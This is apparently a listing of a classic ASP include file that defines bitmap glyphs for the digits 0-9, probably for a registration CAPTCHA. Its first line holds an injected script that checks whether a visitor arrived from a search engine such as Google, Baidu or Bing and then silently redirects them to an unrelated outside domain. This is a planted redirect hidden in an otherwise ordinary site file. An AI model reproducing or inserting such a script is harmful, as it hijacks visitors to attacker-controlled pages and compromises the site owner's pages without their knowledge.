d:\wwwroot\wuchunhua\zhuce\inc\font.ASP
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<%
002:
' ***************************************************************
003:
'
004:
' Definitions of chars 0-9
005:
'
006:
' ***************************************************************
007:
008:
' Font and Letter must be defined to work correctly
009:
Dim Font
010:
Dim C(178)
011:
Dim Letter(19)
012:
Dim TempColor,Fi
013:
014:
'for Fi = 0 to 177
015:
'Randomize
016:
'TempColor=Int(Rnd * 6) + 5
017:
'C(Fi) = TempColor
018:
'next
019:
dim cd
020:
021:
022:
023:
Set Font = Server.CreateObject("Scripting.Dictionary")
024:
025:
Letter(0) = "00000000000000"
026:
Letter(1) = "00001111100000"
027:
Letter(2) = "00011111110000"
028:
Letter(3) = "00111000111000"
029:
Letter(4) = "00110000011100"
030:
Letter(5) = "01110000001100"
031:
Letter(6) = "01100000001110"
032:
Letter(7) = "01100000001110"
033:
Letter(8) = "11100000001110"
034:
Letter(9) = "11000000001110"
035:
Letter(10) = "11000000001110"
036:
Letter(11) = "11100000001110"
037:
Letter(12) = "11100000001100"
038:
Letter(13) = "11100000001100"
039:
Letter(14) = "01100000001100"
040:
Letter(15) = "01110000011100"
041:
Letter(15) = "00111000011000"
042:
Letter(16) = "00011111110000"
043:
Letter(17) = "00001111100000"
044:
Letter(18) = "0000000000000"
045:
046:
047:
048:
049:
050:
051:
Font.Add "0",Letter
052:
053:
Letter(0) = "00000000000000"
054:
Letter(1) = "00000001110000"
055:
Letter(2) = "00000001110000"
056:
Letter(3) = "00000011100000"
057:
Letter(4) = "00000011000000"
058:
Letter(5) = "00000011000000"
059:
Letter(6) = "00000011000000"
060:
Letter(7) = "00000111000000"
061:
Letter(8) = "00000111000000"
062:
Letter(9) = "00000111000000"
063:
Letter(10) = "00000110000000"
064:
Letter(11) = "00000110000000"
065:
Letter(12) = "00000110000000"
066:
Letter(13) = "00000110000000"
067:
Letter(14) = "00000110000000"
068:
Letter(15) = "00000110000000"
069:
Letter(15) = "00000110000000"
070:
Letter(16) = "00000110000000"
071:
Letter(17) = "00000010000000"
072:
Letter(18) = "00000000000000"
073:
074:
075:
Font.Add "1",Letter
076:
077:
Letter(0) = "00000000000000"
078:
Letter(1) = "00001111110000"
079:
Letter(2) = "00011111111000"
080:
Letter(3) = "00111000011100"
081:
Letter(4) = "01110000011100"
082:
Letter(5) = "01110000011000"
083:
Letter(6) = "01100000011000"
084:
Letter(7) = "00000000111000"
085:
Letter(8) = "00000001110000"
086:
Letter(9) = "00000001110000"
087:
Letter(10) = "00000011000000"
088:
Letter(11) = "00000111000000"
089:
Letter(12) = "00001110000000"
090:
Letter(13) = "00011000000000"
091:
Letter(14) = "00011000000000"
092:
Letter(15) = "00110000011100"
093:
Letter(16) = "01101111111100"
094:
Letter(17) = "01111111111110"
095:
Letter(18) = "01111100000000"
096:
Letter(19) = "00000000000000"
097:
098:
Font.Add "2",Letter
099:
100:
101:
102:
Letter(0) = "00000000000000"
103:
Letter(1) = "00001111111000"
104:
Letter(2) = "00111111111000"
105:
Letter(3) = "01110000111100"
106:
Letter(4) = "01100000011000"
107:
Letter(5) = "01000000111000"
108:
Letter(6) = "00000000111000"
109:
Letter(7) = "00000001110000"
110:
Letter(8) = "00000011000000"
111:
Letter(9) = "00000111110000"
112:
Letter(10) = "00000100111000"
113:
Letter(11) = "00000000011100"
114:
Letter(12) = "00000000011100"
115:
Letter(13) = "00000000011100"
116:
Letter(14) = "00000000011100"
117:
Letter(15) = "00000000011000"
118:
Letter(16) = "11100000111000"
119:
Letter(17) = "11111111110000"
120:
Letter(18) = "01111111100000"
121:
Letter(19) = "00000000000000"
122:
123:
Font.Add "3",Letter
124:
125:
Letter(0) = "00000000000000"
126:
Letter(1) = "00000000111000"
127:
Letter(2) = "00000001111000"
128:
Letter(3) = "00000011100000"
129:
Letter(4) = "00000111011100"
130:
Letter(5) = "00001110011100"
131:
Letter(6) = "00001100011000"
132:
Letter(7) = "00011000111000"
133:
Letter(8) = "00111000110000"
134:
Letter(9) = "01110000110000"
135:
Letter(10) = "01100000110000"
136:
Letter(11) = "01100000110000"
137:
Letter(12) = "11000111111110"
138:
Letter(13) = "11111111111100"
139:
Letter(14) = "11111111100000"
140:
Letter(15) = "11100001100000"
141:
Letter(16) = "00000001110000"
142:
Letter(17) = "00000000110000"
143:
Letter(18) = "00000000110000"
144:
Letter(19) = "00000000100000"
145:
146:
147:
Font.Add "4",Letter
148:
149:
Letter(0) = "00000000000000"
150:
Letter(1) = "00001100000100"
151:
Letter(2) = "00011111111110"
152:
Letter(3) = "00011111111100"
153:
Letter(4) = "00011110000000"
154:
Letter(5) = "00011000000000"
155:
Letter(6) = "00111000000000"
156:
Letter(7) = "00111000000000"
157:
Letter(8) = "00111111110000"
158:
Letter(9) = "00111111111000"
159:
Letter(10) = "00000000011000"
160:
Letter(11) = "00000000011000"
161:
Letter(12) = "00000000011000"
162:
Letter(13) = "00000000011000"
163:
Letter(14) = "00000000011000"
164:
Letter(15) = "00000000011000"
165:
Letter(16) = "00000001111000"
166:
Letter(17) = "01111111110000"
167:
Letter(18) = "00111111000000"
168:
Letter(19) = "00000000100000"
169:
170:
171:
Font.Add "5",Letter
172:
173:
Letter(0) = "00000000000000"
174:
Letter(1) = "00000011110000"
175:
Letter(2) = "00000111100000"
176:
Letter(3) = "00001110000000"
177:
Letter(4) = "00011100000000"
178:
Letter(5) = "00111000000000"
179:
Letter(6) = "00110000000000"
180:
Letter(7) = "00110000000000"
181:
Letter(8) = "01111111110000"
182:
Letter(9) = "01111111111000"
183:
Letter(10) = "01110000011100"
184:
Letter(11) = "01100000001100"
185:
Letter(12) = "01100000001100"
186:
Letter(13) = "01100000001100"
187:
Letter(14) = "01100000001100"
188:
Letter(15) = "01110000011100"
189:
Letter(16) = "00110000011100"
190:
Letter(17) = "00111111111000"
191:
Letter(18) = "00011111110000"
192:
Letter(19) = "00000000000000"
193:
194:
195:
Font.Add "6",Letter
196:
197:
Letter(0) = "00000000000000"
198:
Letter(1) = "00100111111110"
199:
Letter(2) = "01111111111100"
200:
Letter(3) = "01111110011100"
201:
Letter(4) = "00000000011000"
202:
Letter(5) = "00000000111000"
203:
Letter(6) = "00000000110000"
204:
Letter(7) = "00000000110000"
205:
Letter(8) = "00000000110000"
206:
Letter(9) = "00000001110000"
207:
Letter(10) = "00000001100000"
208:
Letter(11) = "00000001100000"
209:
Letter(12) = "00000001100000"
210:
Letter(13) = "00000001100000"
211:
Letter(14) = "00000011100000"
212:
Letter(15) = "00000011100000"
213:
Letter(16) = "00000011100000"
214:
Letter(17) = "00000001000000"
215:
Letter(18) = "00000001000000"
216:
Letter(19) = "00000000000000"
217:
218:
219:
Font.Add "7",Letter
220:
221:
Letter(0) = "00000000000000"
222:
Letter(1) = "00001111110000"
223:
Letter(2) = "00011111111000"
224:
Letter(3) = "00111000011000"
225:
Letter(4) = "00110000011000"
226:
Letter(5) = "01110000011100"
227:
Letter(6) = "01110000011000"
228:
Letter(7) = "00110000011000"
229:
Letter(8) = "00111101111000"
230:
Letter(9) = "00011111111000"
231:
Letter(10) = "00111000111100"
232:
Letter(11) = "01110000001100"
233:
Letter(12) = "01110000001100"
234:
Letter(13) = "01100000001110"
235:
Letter(14) = "01100000001100"
236:
Letter(15) = "01100000001100"
237:
Letter(16) = "01110000011100"
238:
Letter(17) = "00111111111100"
239:
Letter(18) = "00011111110000"
240:
Letter(19) = "00000000000000"
241:
242:
243:
Font.Add "8",Letter
244:
245:
Letter(0) = "00000000000000"
246:
Letter(1) = "00011111110000"
247:
Letter(2) = "00111111111000"
248:
Letter(3) = "01110000111000"
249:
Letter(4) = "01110000011100"
250:
Letter(5) = "01100000001100"
251:
Letter(6) = "01100000001100"
252:
Letter(7) = "01100000001100"
253:
Letter(8) = "01100000001100"
254:
Letter(9) = "01110000011100"
255:
Letter(10) = "00111111111100"
256:
Letter(11) = "00011111111100"
257:
Letter(12) = "00000000011000"
258:
Letter(13) = "00000000011000"
259:
Letter(14) = "0000000011100"
260:
Letter(15) = "00000001110000"
261:
Letter(16) = "00000011100000"
262:
Letter(17) = "00000111000000"
263:
Letter(18) = "00011110000000"
264:
Letter(19) = "00000000000000"
265:
266:
Font.Add "9",Letter
267:
268:
%
>
269:
270: